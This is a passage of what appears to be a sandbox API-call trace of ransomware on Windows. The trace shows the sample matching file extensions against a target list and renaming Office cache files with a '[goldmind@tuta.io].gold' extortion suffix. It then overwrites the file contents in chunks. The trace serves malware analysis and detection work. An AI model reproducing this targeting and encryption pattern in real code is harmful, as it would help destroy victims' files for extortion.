Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0044.738] lstrlenW (lpString=".dbf") returned 4 [0044.738] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0044.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0044.738] lstrlenW (lpString=".1cd") returned 4 [0044.738] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0044.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0044.738] lstrlenW (lpString=".jpg") returned 4 [0044.738] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0044.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0044.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0044.738] lstrlenW (lpString=".doc") returned 4 [0044.738] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0044.738] lstrlenW (lpString=".docx") returned 5 [0044.738] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0044.738] lstrlenW (lpString=".pdf") returned 4 [0044.738] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0044.738] lstrlenW (lpString=".xls") returned 4 [0044.738] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0044.738] lstrlenW (lpString=".xlsx") returned 5 [0044.738] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0044.738] lstrlenW (lpString=".ppt") returned 4 [0044.738] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0044.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0044.738] lstrlenW (lpString=".zip") returned 4 [0044.738] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0044.738] lstrlenW (lpString=".rar") returned 4 [0044.738] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0044.738] lstrlenW (lpString=".bz2") returned 4 [0044.738] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0044.738] lstrlenW (lpString=".7z") returned 3 [0044.738] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0044.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0044.738] lstrlenW (lpString=".dbf") returned 4 [0044.739] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0044.739] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0044.739] lstrlenW (lpString=".1cd") returned 4 [0044.739] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0044.739] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0044.739] lstrlenW (lpString=".jpg") returned 4 [0044.739] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0044.739] lstrcmpiW (lpString1=".msi", lpString2=".gold") returned 1 [0044.739] lstrlenW (lpString="PrjProrWW.msi") returned 13 [0044.739] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0044.951] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=10798080) returned 1 [0044.952] CloseHandle (hObject=0x190) returned 1 [0044.952] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi")) returned 0x2020 [0044.952] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0044.952] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0044.952] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0044.952] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc6c | out: lpNewFilePointer=0x0) returned 1 [0044.952] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0044.952] ReadFile (in: hFile=0x190, lpBuffer=0x3960058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x3960058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.955] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x36ec00, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0044.955] ReadFile (in: hFile=0x190, lpBuffer=0x39a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x39a0058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.959] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2dafc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0044.959] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xa0c400, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0044.959] ReadFile (in: hFile=0x190, lpBuffer=0x39e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x39e0058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.976] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0044.976] WriteFile (in: hFile=0x190, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x2dafcb0, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0044.988] SetEndOfFile (hFile=0x190) returned 1 [0044.988] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40000) returned 0x3fdc010 [0044.991] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0044.991] WriteFile (in: hFile=0x190, lpBuffer=0x3fdc010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3fdc010*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.992] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x36ec00, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0044.992] WriteFile (in: hFile=0x190, lpBuffer=0x3fdc010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3fdc010*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.993] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xa0c400, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0044.993] WriteFile (in: hFile=0x190, lpBuffer=0x3fdc010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3fdc010*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.996] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3fdc010 | out: hHeap=0x880000) returned 1 [0044.996] CloseHandle (hObject=0x190) returned 1 [0044.996] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0044.997] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0044.997] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0044.997] lstrlenW (lpString=".doc") returned 4 [0044.997] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0045.183] lstrlenW (lpString=".docx") returned 5 [0045.183] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0045.183] lstrlenW (lpString=".pdf") returned 4 [0045.183] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0045.183] lstrlenW (lpString=".xls") returned 4 [0045.183] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0045.183] lstrlenW (lpString=".xlsx") returned 5 [0045.183] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0045.183] lstrlenW (lpString=".ppt") returned 4 [0045.183] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0045.183] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0045.183] lstrlenW (lpString=".zip") returned 4 [0045.183] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0045.183] lstrlenW (lpString=".rar") returned 4 [0045.183] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0045.183] lstrlenW (lpString=".bz2") returned 4 [0045.183] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0045.183] lstrlenW (lpString=".7z") returned 3 [0045.183] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0045.183] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0045.183] lstrlenW (lpString=".dbf") returned 4 [0045.183] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0045.183] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0045.183] lstrlenW (lpString=".1cd") returned 4 [0045.183] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0045.183] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0045.183] lstrlenW (lpString=".jpg") returned 4 [0045.183] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0045.183] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0045.183] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0045.183] lstrlenW (lpString=".doc") returned 4 [0045.183] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0045.183] lstrlenW (lpString=".docx") returned 5 [0045.183] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0045.183] lstrlenW (lpString=".pdf") returned 4 [0045.183] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0045.183] lstrlenW (lpString=".xls") returned 4 [0045.183] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0045.183] lstrlenW (lpString=".xlsx") returned 5 [0045.183] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0045.183] lstrlenW (lpString=".ppt") returned 4 [0045.184] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0045.184] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0045.184] lstrlenW (lpString=".zip") returned 4 [0045.184] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0045.184] lstrlenW (lpString=".rar") returned 4 [0045.184] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0045.184] lstrlenW (lpString=".bz2") returned 4 [0045.184] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0045.184] lstrlenW (lpString=".7z") returned 3 [0045.184] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0045.184] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0045.184] lstrlenW (lpString=".dbf") returned 4 [0045.184] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0045.184] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0045.184] lstrlenW (lpString=".1cd") returned 4 [0045.184] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0045.184] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0045.184] lstrlenW (lpString=".jpg") returned 4 [0045.184] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0045.184] lstrcmpiW (lpString1=".dll", lpString2=".gold") returned -1 [0045.184] lstrlenW (lpString="osetup.dll") returned 10 [0045.184] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0045.235] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=7378792) returned 1 [0045.235] CloseHandle (hObject=0x19c) returned 1 [0045.235] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020 [0045.235] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0045.235] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0045.552] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0045.552] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc6c | out: lpNewFilePointer=0x0) returned 1 [0045.552] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0045.552] ReadFile (in: hFile=0x19c, lpBuffer=0x3960058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x3960058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.554] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0045.554] ReadFile (in: hFile=0x19c, lpBuffer=0x39a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x39a0058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.559] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2dafc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0045.559] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0045.559] ReadFile (in: hFile=0x19c, lpBuffer=0x39e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x39e0058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.581] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0045.581] WriteFile (in: hFile=0x19c, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x2dafcb0, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0045.651] SetEndOfFile (hFile=0x19c) returned 1 [0045.696] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40000) returned 0x3f74098 [0045.698] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0045.698] WriteFile (in: hFile=0x19c, lpBuffer=0x3f74098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74098*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.985] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0045.985] WriteFile (in: hFile=0x19c, lpBuffer=0x3f74098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74098*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.993] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0045.993] WriteFile (in: hFile=0x19c, lpBuffer=0x3f74098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74098*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.994] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3f74098 | out: hHeap=0x880000) returned 1 [0045.994] CloseHandle (hObject=0x19c) returned 1 [0045.995] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0045.995] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0045.995] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0045.995] lstrlenW (lpString=".doc") returned 4 [0045.995] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0045.995] lstrlenW (lpString=".docx") returned 5 [0045.995] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0045.995] lstrlenW (lpString=".pdf") returned 4 [0045.995] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0045.995] lstrlenW (lpString=".xls") returned 4 [0045.995] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0045.995] lstrlenW (lpString=".xlsx") returned 5 [0045.995] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0045.995] lstrlenW (lpString=".ppt") returned 4 [0045.995] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0045.995] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0045.995] lstrlenW (lpString=".zip") returned 4 [0045.995] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0045.995] lstrlenW (lpString=".rar") returned 4 [0045.995] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0045.995] lstrlenW (lpString=".bz2") returned 4 [0045.995] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0045.995] lstrlenW (lpString=".7z") returned 3 [0045.995] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0045.995] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0045.995] lstrlenW (lpString=".dbf") returned 4 [0045.995] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0045.995] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0045.995] lstrlenW (lpString=".1cd") returned 4 [0045.995] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0045.995] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0045.996] lstrlenW (lpString=".jpg") returned 4 [0045.996] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0045.996] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0045.996] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0045.996] lstrlenW (lpString=".doc") returned 4 [0045.996] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0045.996] lstrlenW (lpString=".docx") returned 5 [0045.996] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0045.996] lstrlenW (lpString=".pdf") returned 4 [0045.996] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0045.996] lstrlenW (lpString=".xls") returned 4 [0045.996] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0045.996] lstrlenW (lpString=".xlsx") returned 5 [0045.996] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0045.996] lstrlenW (lpString=".ppt") returned 4 [0045.996] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0045.996] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0045.996] lstrlenW (lpString=".zip") returned 4 [0045.996] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0045.996] lstrlenW (lpString=".rar") returned 4 [0045.996] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0045.996] lstrlenW (lpString=".bz2") returned 4 [0045.996] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0045.996] lstrlenW (lpString=".7z") returned 3 [0045.996] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0045.996] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0045.996] lstrlenW (lpString=".dbf") returned 4 [0045.996] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0045.996] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0045.996] lstrlenW (lpString=".1cd") returned 4 [0045.996] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0045.996] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0045.996] lstrlenW (lpString=".jpg") returned 4 [0045.996] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0045.996] lstrcmpiW (lpString1=".cab", lpString2=".gold") returned -1 [0045.996] lstrlenW (lpString="VisiorWW.cab") returned 12 [0045.996] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0046.386] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=195011319) returned 1 [0046.386] CloseHandle (hObject=0x170) returned 1 [0046.398] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab")) returned 0x2020 [0046.398] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0046.398] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0046.417] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, 